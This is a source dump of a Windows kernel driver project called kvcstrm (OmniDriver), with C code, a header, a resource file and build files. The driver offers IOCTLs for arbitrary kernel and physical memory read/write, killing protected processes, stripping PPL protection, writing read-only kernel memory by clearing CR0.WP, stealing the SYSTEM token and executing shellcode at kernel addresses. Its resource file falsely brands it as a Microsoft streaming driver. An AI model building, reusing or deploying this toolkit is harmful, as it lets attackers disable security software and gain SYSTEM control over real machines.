    typedef ULONG64 (*PFUNC_CALL)(ULONG64, ULONG64, ULONG64, ULONG64);
    PFUNC_CALL pfn;

    if (!Req || Req->Address == 0)
        return STATUS_INVALID_PARAMETER;

    // Reject user-space addresses -- prevents SMEP-bypass attempts and
    // limits the primitive to kernel virtual address space only.
    if (Req->Address < 0xFFFF800000000000ULL)
        return STATUS_ACCESS_DENIED;

    if (!MmIsAddressValid((PVOID)Req->Address))
        return STATUS_INVALID_ADDRESS;

    pfn = (PFUNC_CALL)(ULONG_PTR)Req->Address;

    __try {
        Req->ReturnValue = pfn(Req->Args[0], Req->Args[1], Req->Args[2], Req->Args[3]);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        Req->ReturnValue = 0;
        return GetExceptionCode();
    }

    return STATUS_SUCCESS;
}

// =============================================================
// IOCTL DISPATCHER
// =============================================================

// Single sequential dispatch handler for all IOCTLs.
// For most codes the WDF request status is STATUS_SUCCESS and the actual
// operation result is returned in the Status field of the output structure.
// IOCTL_KILL_PROCESS_WESMAR is the exception: it propagates the operation
// status directly as the request completion status (legacy behaviour).

VOID EvtIoDeviceControl(
    WDFQUEUE  Queue,
    WDFREQUEST Request,
    size_t    OutputBufferLength,
    size_t    InputBufferLength,
    ULONG     IoControlCode
)
{
    NTSTATUS status        = STATUS_INVALID_DEVICE_REQUEST;
    size_t   bytesReturned = 0;
    PVOID    inBuf         = NULL;

    UNREFERENCED_PARAMETER(Queue);
    UNREFERENCED_PARAMETER(OutputBufferLength);

    if (InputBufferLength == 0) {
        WdfRequestComplete(Request, STATUS_BUFFER_TOO_SMALL);
        return;
    }

    status = WdfRequestRetrieveInputBuffer(Request, 1, &inBuf, NULL);
    if (!NT_SUCCESS(status)) {
        WdfRequestComplete(Request, status);
        return;
    }

    switch (IoControlCode) {

        // ---- Virtual memory R/W --------------------------------

        case IOCTL_READWRITE_DRIVER_READ:
        case IOCTL_READWRITE_DRIVER_WRITE: {
            if (InputBufferLength < sizeof(KERNEL_READWRITE_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_READWRITE_REQUEST req = (PKERNEL_READWRITE_REQUEST)inBuf;
            req->Write  = (IoControlCode == IOCTL_READWRITE_DRIVER_WRITE);
            req->Status = ReadWriteMemory(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_READWRITE_REQUEST);
            break;
        }

        case IOCTL_READWRITE_DRIVER_BULK: {
            if (InputBufferLength < sizeof(KERNEL_BULK_OPERATION)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_BULK_OPERATION req = (PKERNEL_BULK_OPERATION)inBuf;
            status = HandleBulkOperations(req);
            bytesReturned = InputBufferLength;
            break;
        }

        // ---- Process termination -------------------------------

        // Legacy IOCTL: input is a raw ULONG PID; operation status is returned
        // directly as the WDF request completion status (no output structure).
        case IOCTL_KILL_PROCESS_WESMAR: {
            if (InputBufferLength < sizeof(ULONG)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            ULONG targetPid = *(PULONG)inBuf;
            PEPROCESS process;
            HANDLE hProcess;

            status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &process);
            if (NT_SUCCESS(status)) {
                status = ObOpenObjectByPointer(process,
                                               OBJ_KERNEL_HANDLE,
                                               NULL,
                                               PROCESS_TERMINATE,
                                               *PsProcessType,
                                               KernelMode,
                                               &hProcess);
                ObDereferenceObject(process);
                if (NT_SUCCESS(status)) {
                    status = ZwTerminateProcess(hProcess, 0);
                    ZwClose(hProcess);
                }
            }
            bytesReturned = 0;
            break;
        }

        case IOCTL_KILL_PROCESS: {
            if (InputBufferLength < sizeof(KERNEL_KILL_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_KILL_REQUEST req = (PKERNEL_KILL_REQUEST)inBuf;
            req->Status = KillProcess(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_KILL_REQUEST);
            break;
        }

        // ---- PP / PPL manipulation -----------------------------

        case IOCTL_SET_PROTECTION: {
            if (InputBufferLength < sizeof(KERNEL_PROTECTION_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_PROTECTION_REQUEST req = (PKERNEL_PROTECTION_REQUEST)inBuf;
            req->Status = SetProcessProtection(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_PROTECTION_REQUEST);
            break;
        }

        // ---- Physical memory R/W -------------------------------

        case IOCTL_PHYSMEM_READ:
        case IOCTL_PHYSMEM_WRITE: {
            if (InputBufferLength < sizeof(KERNEL_PHYSMEM_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_PHYSMEM_REQUEST req = (PKERNEL_PHYSMEM_REQUEST)inBuf;
            req->Status = PhysMemAccess(req, IoControlCode == IOCTL_PHYSMEM_WRITE);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_PHYSMEM_REQUEST);
            break;
        }

        // ---- Kernel pool allocation / free ---------------------

        case IOCTL_ALLOC_KERNEL: {
            if (InputBufferLength < sizeof(KERNEL_ALLOC_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_ALLOC_REQUEST req = (PKERNEL_ALLOC_REQUEST)inBuf;
            req->Status = AllocKernelMemory(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_ALLOC_REQUEST);
            break;
        }

        case IOCTL_FREE_KERNEL: {
            if (InputBufferLength < sizeof(KERNEL_FREE_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_FREE_REQUEST req = (PKERNEL_FREE_REQUEST)inBuf;
            req->Status = FreeKernelMemory(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_FREE_REQUEST);
            break;
        }

        // ---- Write to read-only kernel memory ------------------

        case IOCTL_WRITE_PROTECTED: {
            if (InputBufferLength < sizeof(KERNEL_PROTECTED_WRITE_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_PROTECTED_WRITE_REQUEST req = (PKERNEL_PROTECTED_WRITE_REQUEST)inBuf;
            req->Status = WriteProtectedKernelMemory(req, InputBufferLength);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_PROTECTED_WRITE_REQUEST);
            break;
        }

        // ---- Token replacement ---------------------------------

        case IOCTL_ELEVATE_TOKEN: {
            if (InputBufferLength < sizeof(KERNEL_TOKEN_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_TOKEN_REQUEST req = (PKERNEL_TOKEN_REQUEST)inBuf;
            req->Status = ElevateProcessToken(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_TOKEN_REQUEST);
            break;
        }

        // ---- Process termination by name / handle close --------

        case IOCTL_KILL_BY_NAME: {
            if (InputBufferLength < sizeof(KERNEL_KILL_NAME_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_KILL_NAME_REQUEST req = (PKERNEL_KILL_NAME_REQUEST)inBuf;
            req->Status = KillProcessesByName(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_KILL_NAME_REQUEST);
            break;
        }

        case IOCTL_FORCE_CLOSE_HANDLE: {
            if (InputBufferLength < sizeof(KERNEL_CLOSE_HANDLE_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_CLOSE_HANDLE_REQUEST req = (PKERNEL_CLOSE_HANDLE_REQUEST)inBuf;
            req->Status = ForceCloseHandle(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_CLOSE_HANDLE_REQUEST);
            break;
        }

        // ---- Kernel call primitive -----------------------------

        case IOCTL_CALL_KERNEL: {
            if (InputBufferLength < sizeof(KERNEL_CALL_REQUEST)) {
                status = STATUS_BUFFER_TOO_SMALL; break;
            }
            PKERNEL_CALL_REQUEST req = (PKERNEL_CALL_REQUEST)inBuf;
            req->Status = CallKernelAddress(req);
            status = STATUS_SUCCESS;
            bytesReturned = sizeof(KERNEL_CALL_REQUEST);
            break;
        }

        default:
            status = STATUS_INVALID_DEVICE_REQUEST;
            break;
    }

    WdfRequestCompleteWithInformation(Request, status, bytesReturned);
}

// =============================================================
// DRIVER UNLOAD
// =============================================================

// Drains the allocation tracking list and releases any kernel pool that was
// allocated through IOCTL_ALLOC_KERNEL but never freed by the client.
// The list is transferred to a local LIST_ENTRY under the spinlock to keep
// the critical section short; pool is freed after the spinlock is released.

VOID EvtDriverUnload(WDFDRIVER Driver)
{
    UNREFERENCED_PARAMETER(Driver);

    PLIST_ENTRY         next;
    PTRACKED_ALLOCATION tracker;
    KIRQL               oldIrql;

    // Drain the allocation tracking list and release any kernel pool that was
    // allocated through IOCTL_ALLOC_KERNEL but never freed by the client.
    // We pop entries one by one under the spinlock to ensure safety.

    KeAcquireSpinLock(&g_AllocListLock, &oldIrql);
    while (!IsListEmpty(&g_AllocListHead)) {
        next = RemoveHeadList(&g_AllocListHead);
        KeReleaseSpinLock(&g_AllocListLock, oldIrql);

        tracker = CONTAINING_RECORD(next, TRACKED_ALLOCATION, ListEntry);
        
        // Free both the tracked memory and the tracker node itself.
        if (tracker->Address) {
            ExFreePoolWithTag(tracker->Address, POOL_TAG);
        }
        ExFreePoolWithTag(tracker, POOL_TAG);

        KeAcquireSpinLock(&g_AllocListLock, &oldIrql);
    }
    KeReleaseSpinLock(&g_AllocListLock, oldIrql);
}

// =============================================================
// DRIVER ENTRY
// =============================================================

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    WDF_DRIVER_CONFIG     config;
    WDF_OBJECT_ATTRIBUTES deviceAttributes;
    WDF_IO_QUEUE_CONFIG   queueConfig;
    WDFDRIVER             driver;
    WDFQUEUE              queue;
    PWDFDEVICE_INIT       deviceInit;
    UNICODE_STRING        deviceName;
    UNICODE_STRING        symbolicLink;
    NTSTATUS              status;

    DECLARE_CONST_UNICODE_STRING(sddl, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");

    // Initialise allocation tracking before any IOCTL can arrive.
    InitializeListHead(&g_AllocListHead);
    KeInitializeSpinLock(&g_AllocListLock);

    // Resolve ImageFileName offset from PsInitialSystemProcess at load time.
    // If the scan fails, KillProcessesByName falls back to offset 0x5A8.
    FindImageFileNameOffset();

    WDF_DRIVER_CONFIG_INIT(&config, WDF_NO_EVENT_CALLBACK);
    config.DriverInitFlags = WdfDriverInitNonPnpDriver;
    config.EvtDriverUnload = EvtDriverUnload;

    status = WdfDriverCreate(DriverObject, RegistryPath,
                             WDF_NO_OBJECT_ATTRIBUTES, &config, &driver);
    if (!NT_SUCCESS(status)) return status;

    deviceInit = WdfControlDeviceInitAllocate(driver, &sddl);
    if (!deviceInit) return STATUS_INSUFFICIENT_RESOURCES;

    RtlInitUnicodeString(&deviceName, DEVICE_NAME);
    status = WdfDeviceInitAssignName(deviceInit, &deviceName);
    if (!NT_SUCCESS(status)) {
        WdfDeviceInitFree(deviceInit);
        return status;
    }

    WdfDeviceInitSetIoType(deviceInit, WdfDeviceIoBuffered);

    WDF_OBJECT_ATTRIBUTES_INIT(&deviceAttributes);
    status = WdfDeviceCreate(&deviceInit, &deviceAttributes, &g_Device);
    if (!NT_SUCCESS(status)) return status;

    RtlInitUnicodeString(&symbolicLink, SYMBOLIC_NAME);
    status = WdfDeviceCreateSymbolicLink(g_Device, &symbolicLink);
    if (!NT_SUCCESS(status)) return status;

    WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&queueConfig, WdfIoQueueDispatchSequential);
    queueConfig.EvtIoDeviceControl = EvtIoDeviceControl;

    status = WdfIoQueueCreate(g_Device, &queueConfig,
                              WDF_NO_OBJECT_ATTRIBUTES, &queue);
    if (!NT_SUCCESS(status)) return status;

    WdfControlFinishInitializing(g_Device);
    return STATUS_SUCCESS;
}

<<<FILE: kvcstrm/kvcstrm.h>>>
Created:  2026-04-09 22:51:19
Modified: 2026-04-09 22:51:19
Size:     10.16 KB
#pragma once
#include <ntifs.h>
#include <wdf.h>

// =============================================================
// EXTERNAL PROTOTYPES
// =============================================================

NTKERNELAPI
NTSTATUS
MmCopyVirtualMemory(
    PEPROCESS SourceProcess,
    PVOID     SourceAddress,
    PEPROCESS TargetProcess,
    PVOID     TargetAddress,
    SIZE_T    BufferSize,
    KPROCESSOR_MODE PreviousMode,
    PSIZE_T   ReturnSize
);

// =============================================================
// PROCESS ACCESS RIGHTS (not exposed in kernel-mode ntifs.h)
// =============================================================

#ifndef PROCESS_TERMINATE
#define PROCESS_TERMINATE 0x0001
#endif

// =============================================================
// DEVICE NAMES
// =============================================================

#define DEVICE_NAME   L"\\Device\\kvcstrm"
#define SYMBOLIC_NAME L"\\DosDevices\\kvcstrm"
#define POOL_TAG      'inmO'

// =============================================================
// IOCTL DEFINITIONS
// =============================================================

// --- Virtual memory R/W (existing, unchanged) ---
#define IOCTL_READWRITE_DRIVER_READ  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READWRITE_DRIVER_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READWRITE_DRIVER_BULK  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

// --- New operations ---
#define IOCTL_KILL_PROCESS           CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS_WESMAR   0x22201C
#define IOCTL_SET_PROTECTION         CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PHYSMEM_READ           CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PHYSMEM_WRITE          CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ALLOC_KERNEL           CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_FREE_KERNEL            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_WRITE_PROTECTED        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ELEVATE_TOKEN          CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_BUFFERED, FILE_ANY_ACCESS)

// --- Advanced "Bank-grade" operations ---
#define IOCTL_KILL_BY_NAME           CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_FORCE_CLOSE_HANDLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_CALL_KERNEL            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)

// =============================================================
// LIMITS
// =============================================================

#define MAX_TRANSFER_SIZE    (PAGE_SIZE * 256)  // 1 MB  - virtual R/W cap
#define MAX_BULK_OPERATIONS  64
#define MAX_PHYSMEM_SIZE     (PAGE_SIZE * 64)   // 256 KB - physical R/W cap
#define MAX_PROCESS_NAME     16                 // EPROCESS ImageFileName length

// =============================================================
// ALLOC FLAGS  (IOCTL_ALLOC_KERNEL)
// =============================================================

#define OMNI_ALLOC_NONPAGED          0x00   // Non-paged, not executable
#define OMNI_ALLOC_NONPAGED_EXECUTE  0x01   // Non-paged + executable (for shellcode/patches)

// =============================================================
// STRUCTURES
// =============================================================

// --- Kill by name (IOCTL_KILL_BY_NAME) ---
typedef struct _KERNEL_KILL_NAME_REQUEST {
    char     ProcessName[MAX_PROCESS_NAME]; // e.g. "notepad.exe"
    ULONG    KilledCount;                   // Output: number of processes killed
    NTSTATUS Status;
} KERNEL_KILL_NAME_REQUEST, *PKERNEL_KILL_NAME_REQUEST;

// --- Force Close Handle (IOCTL_FORCE_CLOSE_HANDLE) ---
typedef struct _KERNEL_CLOSE_HANDLE_REQUEST {
    ULONG    ProcessId;     // PID of process holding the handle
    HANDLE   HandleValue;   // The handle value to close
    NTSTATUS Status;
} KERNEL_CLOSE_HANDLE_REQUEST, *PKERNEL_CLOSE_HANDLE_REQUEST;

// --- Kernel call primitive (IOCTL_CALL_KERNEL) ---
//
// Calls Address as a four-argument x64 function: Args[0..3] → RCX/RDX/R8/R9.
// Executes at PASSIVE_LEVEL.  ReturnValue receives the 64-bit return value.
//
// *** RAW PRIMITIVE -- caller owns all preconditions ***
//
// The driver checks only that Address is in kernel canonical space and is
// currently mapped.  It does NOT validate prototype, IRQL contract, process
// context, lock state, or any other calling convention requirement.
// __try/__except catches hardware faults on the call site; it does NOT
// protect against bugchecks, IRQL violations, deadlocks, or state corruption
// triggered inside the callee.
//
// Caller responsibilities:
//   - Match the actual function prototype (argument count and types).
//   - Ensure correct IRQL before issuing the IOCTL.
//   - Establish required process attachment / APC state as needed.
//   - Hold any locks or object references the target routine expects.
//   - Use OMNI_ALLOC_NONPAGED_EXECUTE for shellcode targets so pages are
//     always resident and marked executable.
//
// Typical use cases:
//   - Calling exported kernel routines by address (PDB-resolved or via
//     MmGetSystemRoutineAddress).
//   - Executing shellcode in a POOL_FLAG_NON_PAGED_EXECUTE buffer obtained
//     via IOCTL_ALLOC_KERNEL (Flags = OMNI_ALLOC_NONPAGED_EXECUTE).

typedef struct _KERNEL_CALL_REQUEST {
    ULONG64  Address;       // Kernel virtual address to call
    ULONG64  Args[4];       // Arguments: RCX, RDX, R8, R9 (unused slots = 0)
    ULONG64  ReturnValue;   // Filled by driver: return value from the call
    NTSTATUS Status;
} KERNEL_CALL_REQUEST, *PKERNEL_CALL_REQUEST;

// --- Virtual memory R/W (existing, unchanged) ---

typedef struct _KERNEL_READWRITE_REQUEST {
    ULONG    ProcessId;     // Target PID
    ULONG64  Address;       // Target virtual address
    ULONG64  Buffer;        // Usermode buffer address
    SIZE_T   Size;          // Bytes to transfer
    BOOLEAN  Write;         // TRUE = write to target, FALSE = read from target
    NTSTATUS Status;        // Operation result (filled by driver)
} KERNEL_READWRITE_REQUEST, *PKERNEL_READWRITE_REQUEST;

typedef struct _KERNEL_BULK_OPERATION {
    ULONG                    Count;
    KERNEL_READWRITE_REQUEST Operations[MAX_BULK_OPERATIONS];
} KERNEL_BULK_OPERATION, *PKERNEL_BULK_OPERATION;

// --- Kill process (IOCTL_KILL_PROCESS) ---
//
// Driver calls ZwTerminateProcess via a kernel handle opened with
// ObOpenObjectByPointer.  Bypasses user-mode callbacks and PPL.

typedef struct _KERNEL_KILL_REQUEST {
    ULONG    ProcessId;
    NTSTATUS Status;
} KERNEL_KILL_REQUEST, *PKERNEL_KILL_REQUEST;

// --- PP/PPL manipulation (IOCTL_SET_PROTECTION) ---
//
// Writes one byte to EPROCESS at ProtectionOffset.
// EPROCESS is in non-paged pool so the byte is always writable.
//
// ProtectionOffset: PDB-resolved on the usermode side and passed in.
//   e.g. Win11 26200 = 0x87A
//
// Common ProtectionValue values:
//   0x00 - unprotected
//   0x62 - PPL Antimalware  (Type=2, Signer=6)
//   0x72 - PP  Antimalware  (Type=2, Signer=7)
//   0x61 - PPL Windows      (Type=1, Signer=6)

typedef struct _KERNEL_PROTECTION_REQUEST {
    ULONG    ProcessId;
    ULONG64  ProtectionOffset;  // Offset of PS_PROTECTION byte in EPROCESS
    UCHAR    ProtectionValue;   // Value to write
    UCHAR    Padding[3];
    NTSTATUS Status;
} KERNEL_PROTECTION_REQUEST, *PKERNEL_PROTECTION_REQUEST;

// --- Physical memory R/W (IOCTL_PHYSMEM_READ / IOCTL_PHYSMEM_WRITE) ---
//
// Buffer: usermode virtual address in the calling process.
//   READ:  driver maps physical range, copies to usermode buffer.
//   WRITE: driver maps physical range, copies from usermode buffer.

typedef struct _KERNEL_PHYSMEM_REQUEST {
    ULONG64  PhysicalAddress;
    ULONG64  Buffer;        // Usermode buffer address
    SIZE_T   Size;          // Must be <= MAX_PHYSMEM_SIZE
    NTSTATUS Status;
} KERNEL_PHYSMEM_REQUEST, *PKERNEL_PHYSMEM_REQUEST;

// --- Kernel memory allocation (IOCTL_ALLOC_KERNEL) ---
//
// Allocates non-paged kernel memory and returns its virtual address.
// The caller is responsible for freeing it via IOCTL_FREE_KERNEL.

typedef struct _KERNEL_ALLOC_REQUEST {
    SIZE_T   Size;          // Bytes to allocate
    ULONG    Flags;         // OMNI_ALLOC_* flags
    ULONG64  Address;       // Returned: allocated kernel virtual address
    NTSTATUS Status;
} KERNEL_ALLOC_REQUEST, *PKERNEL_ALLOC_REQUEST;

// --- Kernel memory free (IOCTL_FREE_KERNEL) ---

typedef struct _KERNEL_FREE_REQUEST {
    ULONG64  Address;       // Address returned by a previous IOCTL_ALLOC_KERNEL
    NTSTATUS Status;
} KERNEL_FREE_REQUEST, *PKERNEL_FREE_REQUEST;

// --- Write to read-only kernel memory (IOCTL_WRITE_PROTECTED) ---
//
// Temporarily clears CR0.WP, writes, restores CR0.WP.
// HVCI must be OFF (which is guaranteed if this driver loaded at all).
//
// Input buffer layout:
//   [KERNEL_PROTECTED_WRITE_REQUEST header][data bytes ...]
//   Total input length = sizeof(header) + Size

typedef struct _KERNEL_PROTECTED_WRITE_REQUEST {
    ULONG64  DstAddress;    // Target kernel virtual address (read-only page)
    SIZE_T   Size;          // Bytes to write
    NTSTATUS Status;
    // Data bytes follow immediately after this struct in the input buffer.
} KERNEL_PROTECTED_WRITE_REQUEST, *PKERNEL_PROTECTED_WRITE_REQUEST;

// --- SYSTEM token steal (IOCTL_ELEVATE_TOKEN) ---
//
// Replaces the primary token of ProcessId with the SYSTEM token from
// PsInitialSystemProcess.  After this call the target process runs with
// full NT AUTHORITY\SYSTEM privileges.
//
// TokenOffset: PDB-resolved on the usermode side and passed in.
//   e.g. Win11 26200 = 0x4B8
//
// Token field is EX_FAST_REF (lower 4 bits = reference count).
// We clear those bits when reading from SYSTEM, write the clean pointer.

typedef struct _KERNEL_TOKEN_REQUEST {
    ULONG    ProcessId;
    ULONG64  TokenOffset;   // Offset of Token (EX_FAST_REF) in EPROCESS
    NTSTATUS Status;
} KERNEL_TOKEN_REQUEST, *PKERNEL_TOKEN_REQUEST;

<<<FILE: kvcstrm/kvcstrm.rc>>>
Created:  2026-04-04 22:26:18
Modified: 2026-04-09 21:04:44
Size:     0.98 KB
#pragma code_page(65001)
// Minimal resource file for driver version info
#include <windows.h>

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x2L
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
			VALUE "CompanyName", "Microsoft Corporation"
			VALUE "FileDescription", "Microsoft WDM AVC Streaming filter driver"
			VALUE "FileVersion", "10.0.26100.1150 (WinBuild.160101.0800)"
			VALUE "InternalName", "KVCStrm.sys"
			VALUE "LegalCopyright", "\xA9 Microsoft Corporation. All rights reserved."
			VALUE "OriginalFilename", "KVCStrm.sys"
			VALUE "ProductName", "Microsoft\xAE Windows\xAE Operating System"
			VALUE "ProductVersion", "10.0.26100.1150"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x0409 0x04B0  
    END
END

<<<FILE: kvcstrm/kvcstrm.vcxproj>>>
Created:  2026-04-04 22:26:18
Modified: 2026-04-05 01:39:15
Size:     3.15 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="kvcstrm.c" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="kvcstrm.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="kvcstrm.rc" />
  </ItemGroup>
  <ItemGroup>
    <Inf Include="kvcstrm.inf" />
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <ProjectGuid>{00000000-0000-0000-0000-000000000006}</ProjectGuid>
    <TemplateGuid>{497e31cb-056b-4f31-abb8-447fd55ee5a5}</TemplateGuid>
    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
    <MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
    <Configuration>Debug</Configuration>
    <Platform Condition="'$(Platform)' == ''">x64</Platform>
    <RootNamespace>kvcstrm</RootNamespace>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <TargetVersion>Windows10</TargetVersion>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
    <ConfigurationType>Driver</ConfigurationType>
    <DriverType>KMDF</DriverType>
    <DriverTargetPlatform>Universal</DriverTargetPlatform>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="PropertySheets">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
    <ExecutablePath>$(ExecutablePath);$(WDKBinRoot_x86);$(WDKContentRoot)tools\$(WDKBuildFolder)\tracing\x64</ExecutablePath>
    <IncludePath>$(IncludePath);$(KMDF_INC_PATH)$(KMDF_VER_PATH)</IncludePath>
    <LibraryPath>$(DDK_LibraryPath_DDKPlatform);$(LibraryPath)</LibraryPath>
    <Inf2CatUseLocalTime>true</Inf2CatUseLocalTime>
    <DriverProductionSignMinimalRebuildFromTracking>true</DriverProductionSignMinimalRebuildFromTracking>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
    </ClCompile>
    <Link>
      <AdditionalOptions>/BREPRO %(AdditionalOptions)</AdditionalOptions>
    </Link>
    <DriverSign>
      <FileDigestAlgorithm>sha256</FileDigestAlgorithm>
    </DriverSign>
  </ItemDefinitionGroup>
  <ItemGroup>
    <FilesToPackage Include="$(TargetPath)" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

<<<FILE: kvcstrm/kvcstrm.vcxproj.filters>>>
Created:  2026-04-04 22:26:18
Modified: 2026-04-05 01:39:15
Size:     1.47 KB
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
    <Filter Include="Driver Files">
      <UniqueIdentifier>{8E41214B-6785-4CFE-B992-037D68949A14}</UniqueIdentifier>
      <Extensions>inf;inv;inx;mof;mc;</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <Inf Include="kvcstrm.inf">
      <Filter>Driver Files</Filter>
    </Inf>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="kvcstrm.h">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="kvcstrm.c">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="kvcstrm.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
</Project>

<<<FILE: kvcstrm/ReadMe.txt>>>
Created:  2026-04-06 02:02:20
Modified: 2026-04-06 02:03:37
Size:     10.12 KB
OmniDriver
==========

Overview
- OmniDriver is an internal NT/KMDF control driver.
- It exposes a buffered IOCTL device for process, memory, token, handle, and protection operations used by the trusted test client.
- The default queue is sequential and the I/O model is METHOD_BUFFERED.
- The driver is intended for controlled lab use, not for public deployment.

